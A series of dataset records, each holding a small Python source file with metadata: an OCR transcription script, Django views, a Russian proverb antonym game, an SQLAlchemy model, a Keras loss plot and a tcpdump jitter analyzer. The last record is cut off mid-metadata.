+{"seq_id": "54930615", "text": "'''\nfinal_classifier.py\n\nThis is the file that will be submitted for this project. \n\nIt should take a path as its input (through command line) and write the transcription of a file to a seperate .txt file\n\n'''\nimport sys  # for argv\nfrom os.path import isfile, isdir, join, abspath, isabs  # for path manipulations\nimport os  # for listdir\nimport cv2  # for reading in the image\n\n## import own code\nsys.path.append('preprocessing/')\nfrom preprocessor import preprocess_image\nfrom bayesian_postp import Bayesian_processor\nfrom write_to_file import write_to_file\nfrom sliding_window import SlidingWindow\n\nif __name__ == '__main__':\n\n    ## assert correct usage\n    if len(sys.argv) != 2:\n        print(\"usage: python final_classifier.py \")\n        quit()\n\n    ## build and check absolute path\n    if isabs(sys.argv[1]):\n        path = sys.argv[1]\n    else:\n        path = abspath(sys.argv[1])\n\n    if not isdir(path):\n        print(\"usage: python final_classifier.py \")\n        print(\"incorrect path given. Path did not lead to a folder\")\n        print(\"path: \", path)\n        quit()\n\n    ## process all files\n\n    files = files = [f for f in os.listdir(path) if isfile(join(path, f))]\n\n    for file in files:\n        print(\"Transcribing \\\"%s\\\".\" % (file))\n\n        ## load in image\n        img = cv2.imread(join(path, file))\n\n        ## preprocess image\n        preprocessed_lines = preprocess_image(img)\n\n        ## get root filename for writing the transcribed lines\n        outfile = file.split('.')[0]\n\n        ## classify lines\n        for line in preprocessed_lines:\n            sentence = ''\n            ## neural network call here\n            sw = SlidingWindow()\n            sw.WRITE_WINDOWS = False  # If True, the input images of the cnn will be written to a file\n            sw.load_image(line)\n            transcribed_lines = sw.get_letters()\n\n            ## apply postprocessing\n            postp = Bayesian_processor()\n            final_letter = postp.apply_postprocessing(transcribed_lines)\n            sentence = sentence + str(final_letter)\n\n            ## write croppings to file\n            write_to_file(sentence, path, outfile)\n\n        print(\"Succesfully transcribed \\\"%s\\\" to \\\"%s\\\".\" % (file, outfile))\n\n    print(\"Finished transcribing.\")\n", "sub_path": "src/final_classifier.py", "file_name": "final_classifier.py", "file_ext": "py", "file_size_in_byte": 2306, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.append", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.isabs", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 29, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 32, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 34, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "preprocessor.preprocess_image", "line_number": 51, "usage_type": "call"}, {"api_name": "sliding_window.SlidingWindow", "line_number": 60, "usage_type": "call"}, {"api_name": "bayesian_postp.Bayesian_processor", "line_number": 66, "usage_type": "call"}, {"api_name": "write_to_file.write_to_file", "line_number": 71, "usage_type": "call"}]}
+{"seq_id": "408964879", "text": "from rest_framework import viewsets, mixins\n\nfrom fashion_store.meta.models import Category\nfrom fashion_store.meta.serializers import CategorySerializer, ContactUsSerializer\nfrom fashion_store.taskapp.celery import send_contact_us_email\n\n\nclass CategoryViewSet(viewsets.GenericViewSet, mixins.ListModelMixin):\n    queryset = Category.objects.all().order_by('name')\n    serializer_class = CategorySerializer\n\n    def get_queryset(self):\n        queryset = Category.objects.all()\n        queryset = queryset.order_by('name')\n\n        has_image = self.request.query_params.get('has_image', None)\n        if has_image is not None:\n            queryset = queryset.filter(image__isnull=False)\n        return queryset\n\n\nclass ContactUsViewSet(viewsets.GenericViewSet, mixins.CreateModelMixin):\n    queryset = Category.objects.all()\n    serializer_class = ContactUsSerializer\n\n    def perform_create(self, serializer):\n        contactUs = serializer.save()\n        send_contact_us_email.delay(contactUs.id)\n", "sub_path": "fashion_store/meta/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1000, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 8, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 8, "usage_type": "name"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 8, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 8, "usage_type": "name"}, {"api_name": "fashion_store.meta.models.Category.objects.all", "line_number": 9, "usage_type": "call"}, {"api_name": "fashion_store.meta.models.Category.objects", "line_number": 9, "usage_type": "attribute"}, {"api_name": "fashion_store.meta.models.Category", "line_number": 9, "usage_type": "name"}, {"api_name": "fashion_store.meta.serializers.CategorySerializer", "line_number": 10, "usage_type": "name"}, {"api_name": "fashion_store.meta.models.Category.objects.all", "line_number": 13, "usage_type": "call"}, {"api_name": "fashion_store.meta.models.Category.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "fashion_store.meta.models.Category", "line_number": 13, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 22, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.mixins.CreateModelMixin", "line_number": 22, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 22, "usage_type": "name"}, {"api_name": "fashion_store.meta.models.Category.objects.all", "line_number": 23, "usage_type": "call"}, {"api_name": "fashion_store.meta.models.Category.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "fashion_store.meta.models.Category", "line_number": 23, "usage_type": "name"}, {"api_name": "fashion_store.meta.serializers.ContactUsSerializer", "line_number": 24, "usage_type": "name"}, {"api_name": "fashion_store.taskapp.celery.send_contact_us_email.delay", "line_number": 28, "usage_type": "call"}, {"api_name": "fashion_store.taskapp.celery.send_contact_us_email", "line_number": 28, "usage_type": "name"}]}
+{"seq_id": "336179377", "text": "import collections\r\nimport re\r\nimport pymorphy2\r\nimport random\r\nmorph_an = pymorphy2.MorphAnalyzer()\r\n\r\ndef cleaning(filename):\r\n    with open (filename, encoding = 'utf-8') as file:\r\n        lines = file.readlines()\r\n        for line in lines:\r\n            pat = '[^А-Яа-я\\s]'\r\n            pat2 = 'ё'\r\n            line = re.sub(pat, '', line)\r\n            line = re.sub(pat, 'е', line)\r\n        return(lines)\r\n                \r\ndef opening(filename):\r\n    with open (filename, encoding = 'utf-8') as file:\r\n         lem_lines = file.readlines() \r\n         for lem_line in lem_lines:\r\n             pat = '[^А-Яа-я\\s]'\r\n             pat2 = 'ё'\r\n             lem_line = re.sub(pat, '', lem_line)\r\n             lem_line = re.sub(pat, 'е', lem_line)\r\n    return(lem_lines)     \r\n\r\ndef dictionary(lines, lem_lines):\r\n    word_list = []\r\n    for line in lines:\r\n        words = line.split()\r\n        for word in words:\r\n            word_list.append(word)\r\n    lem_list = []\r\n    for lem_line in lem_lines:\r\n        lemmas = lem_line.split()\r\n        for lemma in lemmas:\r\n            lem_list.append(lemma)\r\n    lem_dict = dict(zip(word_list, lem_list))\r\n    return lem_dict\r\n\r\ndef antonyms(filename):\r\n    with open (filename, encoding = 'utf-8') as file:\r\n        lines = file.readlines()\r\n        ant_pairs = []\r\n        for line in lines:\r\n            ant_pair = line.split()\r\n            ant_pair[0] = ant_pair[0].lower()\r\n            ant_pairs.append(ant_pair)\r\n    return ant_pairs       \r\n\r\ndef speech_part(word, ant_pairs, lem_dict):\r\n    morph_an = pymorphy2.MorphAnalyzer()\r\n    for ant_pair in ant_pairs:\r\n        if lem_dict[word].lower() == ant_pair[0]:\r\n            word_parse = morph_an.parse(word)[0]\r\n            sp_part = word_parse.tag.POS\r\n            return(sp_part)\r\n\r\ndef adjective(token, lem_dict, ant_pairs):\r\n    morph_an = pymorphy2.MorphAnalyzer()\r\n    w = morph_an.parse(token)[0]\r\n    gen_ = w.tag.gender\r\n    num_ = w.tag.number\r\n    pos_ = w.tag.POS\r\n    if pos_ == 'ADJF':\r\n        case_ = w.tag.case\r\n    for ant_pair in ant_pairs:\r\n        \r\n        if lem_dict[token].lower() == ant_pair[0]:\r\n            a = morph_an.parse(ant_pair[1])[0]\r\n            if a.tag.POS == 'NOUN':\r\n                a = a.inflect({num_, case_}).word\r\n                return a\r\n            else:\r\n                a = a.inflect({num_, pos_})\r\n                if a:\r\n                    if w.tag.POS == 'ADJF':\r\n                        a = a.inflect({case_})\r\n                    if gen_:\r\n                        a = a.inflect({gen_}).word\r\n                    else:\r\n                        a = a.word\r\n                    return a\r\n\r\ndef pro_noun(token, lem_dict, ant_pairs):\r\n    morph_an = pymorphy2.MorphAnalyzer()\r\n    w = morph_an.parse(token)[0]\r\n    case_ = w.tag.case\r\n    if w.tag.POS == 'NOUN':\r\n        num_ = w.tag.number\r\n    for ant_pair in ant_pairs:\r\n        if lem_dict[token].lower() == ant_pair[0]:\r\n            a = morph_an.parse(ant_pair[1])[0]\r\n            if w.tag.POS == 'NOUN':\r\n                a = a.inflect({num_})\r\n                if a.tag.POS != 'VERB':\r\n                    a = a.inflect({case_}).word\r\n                else:\r\n                    invl_ = morph_an.parse('иди')[0].tag.involvement\r\n                    a = a.inflect({invl_}).word\r\n            if w.tag.POS == 'NPRO':\r\n                a = a.inflect({case_}).word\r\n            return a\r\n\r\ndef verb(token, lem_dict, ant_pairs):\r\n    morph_an = pymorphy2.MorphAnalyzer()\r\n    w = morph_an.parse(token)[0]\r\n    mood_ = w.tag.mood\r\n    for ant_pair in ant_pairs:\r\n        if lem_dict[token].lower() == ant_pair[0]:\r\n            if mood_ == 'indc':\r\n                tense_ = w.tag.tense\r\n                if tense_ == 'pres' or tense_ == 'futr':\r\n                    num_ = w.tag.number\r\n                    pers_ = w.tag.person\r\n                    if pers_:\r\n                        a = morph_an.parse(ant_pair[1])[0].inflect({num_, pers_}).word\r\n                    else:\r\n                        a = morph_an.parse(ant_pair[1])[0].inflect({num_}).word\r\n                    return a\r\n                if tense_ == 'past':\r\n                    gen_ = w.tag.gender\r\n                    num_ = w.tag.number\r\n                    a = morph_an.parse(ant_pair[1])[0].inflect({num_}).word\r\n                    if gen_:\r\n                        a = morph_an.parse(a)[0].inflect({gen_}).word\r\n                    return a\r\n            if mood_ == 'impr':\r\n                num_ = w.tag.number\r\n                invl_ = w.tag.involvement\r\n                a = morph_an.parse(ant_pair[1])[0].inflect({num_, invl_}).word\r\n                return a\r\n\r\ndef comparative(token, lem_dict, ant_pairs):\r\n    morph_an = pymorphy2.MorphAnalyzer()\r\n    w = morph_an.parse(token)[0]\r\n    pos_ = w.tag.POS\r\n    for ant_pair in ant_pairs:\r\n        if lem_dict[token].lower() == ant_pair[0]:\r\n            a = morph_an.parse(ant_pair[1])[0].inflect({pos_}).word\r\n            return a\r\n\r\ndef questioning(new_lines, lines):\r\n    final_dict = dict(zip(new_lines, lines))\r\n    quest = random.choice(list(final_dict))\r\n    print(quest)\r\n    ans = input()\r\n    ans = ans + '\\n'\r\n    ans = re.sub('ё', 'е', ans)\r\n    final_dict[quest] = re.sub('—', '-', final_dict[quest])\r\n    final_dict[quest] = re.sub('\\s,', ',', final_dict[quest])\r\n    final_dict[quest] = re.sub('ё,', 'е', final_dict[quest])\r\n    if final_dict[quest].lower() == ans.lower():\r\n        rez = 'Да, это она!' + '\\n'\r\n    else:\r\n        rez = 'Нет, не угадали! Правильный ответ:' + '\\n' + final_dict[quest]+ '\\n'\r\n    return rez\r\n\r\ndef main():\r\n    lines_ = cleaning('_слова.txt')\r\n    lem_lines_ = opening('output_леммы.txt')\r\n    ant_pairs_ = antonyms('_пары.txt')   #список из списков [слово, антоним]\r\n    lem_dict_ = dictionary(lines_, lem_lines_)  #словарь [слово]: нач. форма \r\n    word_list_ = list(lem_dict_)\r\n    ant_list_ = []\r\n    for word_ in word_list_:\r\n        sp_part_ = speech_part(word_, ant_pairs_, lem_dict_)\r\n        if sp_part_ == 'ADJF' or sp_part_ == 'ADJS':\r\n            ant_changed_ = adjective(word_, lem_dict_, ant_pairs_)            \r\n        elif sp_part_ == 'NOUN' or sp_part_ == 'NPRO':\r\n            ant_changed_ = pro_noun(word_, lem_dict_, ant_pairs_)\r\n        elif sp_part_ == 'VERB':\r\n            ant_changed_ = verb(word_, lem_dict_, ant_pairs_)\r\n        elif sp_part_ == 'COMP':\r\n            ant_changed_ = comparative(word_, lem_dict_, ant_pairs_)\r\n        elif sp_part_ == 'ADVB' or sp_part_ == 'PRCL' or sp_part_ == 'INTJ':\r\n            for ant_pair_ in ant_pairs_:\r\n                if lem_dict_[word_].lower() == ant_pair_[0]:\r\n                    ant_changed_ = ant_pair_[1]\r\n        else: ant_changed_ = word_\r\n        ant_list_.append(ant_changed_)  #список изменённых антонимов\r\n    word_ant_dict_ = dict(zip(word_list_, ant_list_)) #слово: антоним (косв. ф.)\r\n\r\n    with open('new_file.txt', 'w', encoding = 'utf-8') as file2_:\r\n        for line_ in lines_:\r\n            words_ = line_.split()\r\n            for i in range(len(words_)):\r\n                if words_[i] in word_ant_dict_:\r\n                    words_[i] = word_ant_dict_[words_[i]]\r\n            file2_.write(' '.join(words_) + '\\n')\r\n\r\n    with open('new_file.txt', encoding = 'utf-8') as file3_:\r\n        new = file3_.readlines()\r\n    new_lines_ = []\r\n    for line_ in new:\r\n        line_ = re.sub('—', '-', line_)\r\n        line_ = re.sub('\\s,', ',', line_)\r\n        new_lines_.append(line_)\r\n\r\n    with open('edit_pymorphy.txt', encoding = 'utf-8') as file4_:\r\n        edit_lines_ = file4_.readlines()\r\n\r\n    print('Если вы хотите играть с пословицами в том виде, в каком их обработал pymorphy, введите 1')\r\n    print('Если вы хотите играть с отредактированными пословицами, введите 2')\r\n    choice = input()\r\n    if choice == '1':\r\n        while True:\r\n            print(questioning(new_lines_, lines_))\r\n    if choice == '2':\r\n        while True:\r\n            print(questioning(edit_lines_, lines_))\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n", "sub_path": "ПРОЕКТ.py", "file_name": "ПРОЕКТ.py", "file_ext": "py", "file_size_in_byte": 8261, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pymorphy2.MorphAnalyzer", "line_number": 5, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 13, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 14, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 23, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 24, "usage_type": "call"}, {"api_name": "pymorphy2.MorphAnalyzer", "line_number": 52, "usage_type": "call"}, {"api_name": "pymorphy2.MorphAnalyzer", "line_number": 60, "usage_type": "call"}, {"api_name": "pymorphy2.MorphAnalyzer", "line_number": 86, "usage_type": "call"}, {"api_name": "pymorphy2.MorphAnalyzer", "line_number": 106, "usage_type": "call"}, {"api_name": "pymorphy2.MorphAnalyzer", "line_number": 135, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 145, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 149, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 150, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 151, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 152, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 196, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 197, "usage_type": "call"}]}
+{"seq_id": "7218968", "text": "#!/usr/bin/python3\n\"\"\"This is the place class\"\"\"\nimport os\nfrom models.base_model import BaseModel, Base\nfrom sqlalchemy import Column, String, Integer, Float\nfrom sqlalchemy import ForeignKey, Table\nfrom sqlalchemy.orm import relationship\n\n\nplc_amty = Table('place_amenity', Base.metadata,\n                 Column('place_id', String(60),\n                        ForeignKey('places.id'),\n                        nullable=False,\n                        primary_key=True),\n                 Column('amenity_id', String(60),\n                        ForeignKey('amenities.id'),\n                        nullable=False,\n                        primary_key=True))\n\n\nclass Place(BaseModel, Base):\n    \"\"\"This is the class for Place\n    Attributes:\n        city_id: city id\n        user_id: user id\n        name: name input\n        description: string of description\n        number_rooms: number of room in int\n        number_bathrooms: number of bathrooms in int\n        max_guest: maximum guest in int\n        price_by_night:: pice for a staying in int\n        latitude: latitude in flaot\n        longitude: longitude in float\n        amenity_ids: list of Amenity ids\n    \"\"\"\n\n    __tablename__ = 'places'\n    city_id = Column(String(60), ForeignKey(\"cities.id\"), nullable=False)\n    user_id = Column(String(60), ForeignKey(\"users.id\"), nullable=False)\n    name = Column(String(128), nullable=False)\n    description = Column(String(1024), nullable=True)\n    number_rooms = Column(Integer, nullable=False, default=0)\n    number_bathrooms = Column(Integer, nullable=False, default=0)\n    max_guest = Column(Integer, nullable=False, default=0)\n    price_by_night = Column(Integer, nullable=False, default=0)\n    latitude = Column(Float, nullable=True)\n    longitude = Column(Float, nullable=True)\n    amenity_ids = []\n    reviews = relationship(\"Review\", backref=\"place\", cascade=\"all, delete\")\n    amenities = relationship(\"Amenity\", secondary=\"place_amenity\")\n\n    if os.getenv('HBNB_TYPE_STORAGE') != 'db':\n        @property\n        def reviews(self):\n            '''returns the list of Review instances with\n            place_id equals to the current Place.id'''\n            all_reviews = models.storage.all(Review)\n            rvws = []\n            for rev in all_reviews.values():\n                if rev.id in self.id:\n                    rvws.append(rev)\n            return rvws\n\n        @property\n        def amenities(self):\n            '''get the list of amenities'''\n            amnt = []\n            all_amenities = models.storage.all(Amenity)\n            for ame in all_amenities.values():\n                if ame.id in self.amenity_ids:\n                    amnt.append(ame)\n            return amnt\n\n        @amenities.setter\n        def amenities(self, obj):\n            '''set ids of amenities'''\n            if type(value) == Amenity:\n                self.amenity_ids.append(value.id)\n", "sub_path": "models/place.py", "file_name": "place.py", "file_ext": "py", "file_size_in_byte": 2889, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sqlalchemy.Table", "line_number": 10, "usage_type": "call"}, {"api_name": "models.base_model.Base.metadata", "line_number": 10, "usage_type": "attribute"}, {"api_name": "models.base_model.Base", "line_number": 10, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 11, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 11, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 12, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 16, "usage_type": "call"}, {"api_name": "models.base_model.BaseModel", "line_number": 21, "usage_type": "name"}, {"api_name": "models.base_model.Base", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 42, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 43, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 44, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 45, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 46, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 46, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 47, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 47, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.relationship", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.relationship", "line_number": 50, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 52, "usage_type": "call"}, {"api_name": "models.base_model.storage.all", "line_number": 57, "usage_type": "call"}, {"api_name": "models.base_model.storage", "line_number": 57, "usage_type": "attribute"}, {"api_name": "models.base_model", "line_number": 57, "usage_type": "name"}, {"api_name": "models.base_model.storage.all", "line_number": 68, "usage_type": "call"}, {"api_name": "models.base_model.storage", "line_number": 68, "usage_type": "attribute"}, {"api_name": "models.base_model", "line_number": 68, "usage_type": "name"}]}
+{"seq_id": "348875957", "text": "import matplotlib\nmatplotlib.use(\"TkAgg\")\nimport matplotlib.pyplot as plt\n\nimport pickle\n\nhistory = pickle.load(open(\"history.pickle\", \"rb\"))\n\n### print the keys contained in the history object\nprint(history.keys())\n\n### plot the training and validation loss for each epoch\nprint(len(history))\nplt.plot(history[\"loss\"])\nplt.plot(history[\"val_loss\"])\nplt.title(\"model mean squared error loss\")\nplt.ylabel(\"mean squared error loss\")\nplt.xlabel(\"epoch\")\nplt.xticks(range(len(history[\"loss\"])))\nplt.grid()\nplt.legend([\"training set\", \"validation set\"], loc=\"upper right\")\nplt.show()\n\nfrom keras.models import load_model\nmodel = load_model(\"model.h5\")\n\nmodel.summary()\nmodel.get_config()\n", "sub_path": "statistics.py", "file_name": "statistics.py", "file_ext": "py", "file_size_in_byte": 683, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.use", "line_number": 2, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "keras.models.load_model", "line_number": 25, "usage_type": "call"}]}
+{"seq_id": "140099624", "text": "#!/usr/bin/python3\n\nimport sys, argparse, traceback\n\ndef parse_cmd_line_args():\n    parser = argparse.ArgumentParser(description = 'tcpdump jitter analyzer.',\n            formatter_class = argparse.RawDescriptionHelpFormatter)\n    parser.epilog = f'''usage examples:\n  tcpdump -j adapter_unsynced --time-stamp-precision=micro -i eth0 udp port 2000 | cut -d\" \" -f1 | {parser.prog} read --stop-after 10000 > dev.log\n  {parser.prog} compare dev.log pc.log > diff.log\n  {parser.prog} plot pc.log dev.log diff.log --labels src dest diff\n'''\n    subparsers = parser.add_subparsers(dest = 'subcommand',\n        help = 'subcommand to execute')\n    read = subparsers.add_parser('read', help =\n        'read timestamps from stdin')\n    read.add_argument('-s', '--stop-after', metavar = 'NUM_PACKETS', help =\n        'stop after reading specified number of packets')\n    compare = subparsers.add_parser('compare', help =\n        'compare timestamps for two input files')\n    compare.add_argument('file_1', metavar = 'FILE_1', help =\n        'file #1 to compare')\n    compare.add_argument('file_2', metavar = 'FILE_2', help =\n        'file #2 to compare')\n    plot = subparsers.add_parser('plot', help =\n        'plot timestamps')\n    plot.add_argument('file', metavar = 'FILE', nargs = '+', help =\n        'file to draw plot for')\n    plot.add_argument('-l', '--label', metavar = 'LABEL', nargs = '*', help =\n        'plot label(s) corresponding to file(s)')\n    plot.add_argument('-c', '--color', metavar = 'COLOR', nargs = '*', help =\n        'plot color(s) corresponding to file(s)')\n    args = parser.parse_args()\n    if not args.subcommand:\n        parser.print_help(sys.stdout)\n        parser.exit(status = 0, message =\n                '\\nNo arguments provided => nothing to do. Exiting...\\n')\n    if args.subcommand == 'plot':\n        l_files = len(args.file)\n        if args.label:\n            l_labels = len(args.label)\n            if l_labels != l_files:\n                parser.error(\nf'invalid number of labels provided (got {l_labels}, expected {l_files})')\n        if args.color:\n            l_colors = len(args.color)\n            if l_colors != l_files:\n                parser.error(\nf'invalid number of colors provided (got {l_colors}, expected {l_files})')\n    return args\n\ndef tcpdump_filter(stop_after):\n    if stop_after:\n        message = f'Reading {stop_after} packets from stdin...'\n    else:\n        message = 'Reading from stdin (press CTRL-C to stop)...'\n    print(message, file = sys.stderr)\n    packet_num = 0\n    prev = None\n    try:\n        for line in sys.stdin:\n            packet_num = packet_num + 1\n            line = line.rstrip()\n            # cur = datetime.datetime.strptime(line, '%H:%M:%S.%f')\n            dot_split = line.split('.')\n            us = int(dot_split[1])\n            colon_split = dot_split[0].split(':')\n            hours = int(colon_split[0])\n            minutes = int(colon_split[1])\n            seconds = int(colon_split[2])\n            cur = ((hours * 60 + minutes) * 60 + seconds) * 1000000 + us\n            if prev:\n                diff = cur - prev\n                ms = diff / 1000\n                print(ms)\n            prev = cur\n            if stop_after:\n                if packet_num >= stop_after:\n                    break\n    except KeyboardInterrupt:\n        pass\n\ndef compare_files(file_1, file_2):\n    with open(file_1, 'r') as f1:\n        with open(file_2, 'r') as f2:\n            i = 0\n            while True:\n                i = i + 1\n                line_1 = f1.readline()\n                line_2 = f2.readline()\n                l1 = False if not line_1 else True\n                l2 = False if not line_2 else True\n                if l1 != l2:\n                    print('Error: got different number of lines in files',\n                          file = sys.stderr)\n                    return 1\n                if not l1:\n                    break\n                try:\n                    val_1 = float(line_1)\n                    val_2 = float(line_2)\n                except Exception as e:\n                    sys.stdout.flush()\n                    sys.stderr.flush()\n                    print(traceback.format_exc(), file = sys.stderr)\n                    print(f'on line #{i}', file = sys.stderr)\n                    return 1\n                diff = round(abs(val_1 - val_2), 3)\n                print(diff)\n    return 0\n\ndef plot_files(files, labels, colors):\n    from matplotlib import pyplot\n    if not labels:\n        labels = files\n    if not colors:\n        colors = ['black', 'red', 'green', 'blue', 'cyan', 'yellow', 'magenta']\n    idx = -1\n    prev_num_lines = 0\n    for file in files:\n        idx = idx + 1\n        if idx >= len(colors):\n            print('Error: got too many files', file = sys.stderr)\n            return 1\n        val = []\n        with open(file, 'r') as f:\n            num_lines = 0\n            for line in f:\n                num_lines = num_lines + 1\n                val.append(float(line))\n        if prev_num_lines == 0:\n            prev_num_lines = num_lines\n        if num_lines != prev_num_lines:\n            print('Error: got different number of lines in files',\n                file = sys.stderr)\n            return 1\n        pyplot.plot(val, color = colors[idx], label = labels[idx])\n    pyplot.xlabel(\"packet number\")\n    pyplot.ylabel(\"delay (ms)\")\n    pyplot.title(\"delay comparison\")\n    pyplot.legend()\n    pyplot.show()\n    return 0\n\ndef main():\n    args = parse_cmd_line_args()\n    if args.subcommand == 'read':\n        tcpdump_filter(int(args.stop_after))\n        return 0\n    if args.subcommand == 'compare':\n        return compare_files(args.file_1, args.file_2)\n    plot_files(args.file, args.label, args.color)\n    return 0\n\nif __name__ == '__main__':\n    sys.exit(main())\n", "sub_path": "other_files/my_samples/single_sources/tcpdump_jitter.py", "file_name": "tcpdump_jitter.py", "file_ext": "py", "file_size_in_byte": 5788, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 6, "usage_type": "call"}, {"api_name": "argparse.RawDescriptionHelpFormatter", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 35, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 57, "usage_type": "attribute"}, {"api_name": "sys.stdin", "line_number": 61, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 95, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 103, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 103, "usage_type": "attribute"}, {"api_name": "sys.stderr.flush", "line_number": 104, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 104, "usage_type": "attribute"}, {"api_name": "traceback.format_exc", "line_number": 105, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 105, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 106, "usage_type": "attribute"}, {"api_name": 